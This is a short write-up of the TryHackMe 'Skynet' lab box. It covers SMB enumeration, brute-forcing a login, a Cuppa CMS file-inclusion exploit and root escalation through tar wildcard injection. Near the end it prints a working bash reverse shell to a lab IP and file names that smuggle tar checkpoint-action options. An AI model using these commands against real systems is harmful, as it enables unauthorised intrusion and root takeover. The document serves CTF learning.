SkyNet

Here I’m sharing how i attacked the Skynet machine on TryHackMe.

Starting with an Nmap scan;

Taking a look at port 80;

Now bruteforcing directories;

We find a login page upon visiting /squirrelmail

Going back to the nmap scan results so i started digging frrom port 445 (smb)

we can download the juicy files from smb to our local machine, Now reading attention.txt exposes potential username & log1.txt has a list of potential passwords mmmm;

Now bruteforcing with burpsuite intruder & we have valid creds

we can go back to the login page on port 80 & login with the valid creds we’ve found

Looks like we have access to the email account & we can find just 3 email conversations Reading one from skynet@skynet reveals some info

That’s a password to “milesdyson” smb share & with that we get access to some other files

we get & read the important.txt on his notes folder on smb which exposes a new directory;

This is his personal page;

sadly we find nothing there so we have to do a directory bursting & found /administrator;

We see it’s running cupa cms. Now looking at google & we see some remote file inclusion vulnurability linked to cupa reading on the vulnurability/exploit on exploit db & we can have an idia how to exploit; Reading /etc/passwd

We can try to inlude a reverse shell & use it to get shell access on web server.

Now we have shell & can read our user.txt in /home/milesdyson directory

Now we can go elevate our privilege to Root.

Looking at the /backups folder & we can read a backup.sh script

This compresses the entire /var/www/html directory with tar and saves the archive to miles’ home directory. The script is executed by root every minute:

Now creating a privileged reverse shell;

tar -cf /dev/null /dev/null –checkpoint=1 –checkpoint-action=exec=/bin/sh $ printf ‘#!/bin/bash\nbash -i >& /dev/tcp/10.8.50.72/6666 0>&1’ > /var/www/html/shell $ chmod +x /var/www/html/shell $ touch /var/www/html/–checkpoint=1 $ touch /var/www/html/–checkpoint-action=exec=bash\ shell $ ./shell

And we have root shell from listening on the revserse shell port & we can read root.txt;

REFRENCES

https://tryhackme.com/room/skynet

https://gtfobins.github.io/gtfobins/tar/

https://www.exploit-db.com/exploits/25971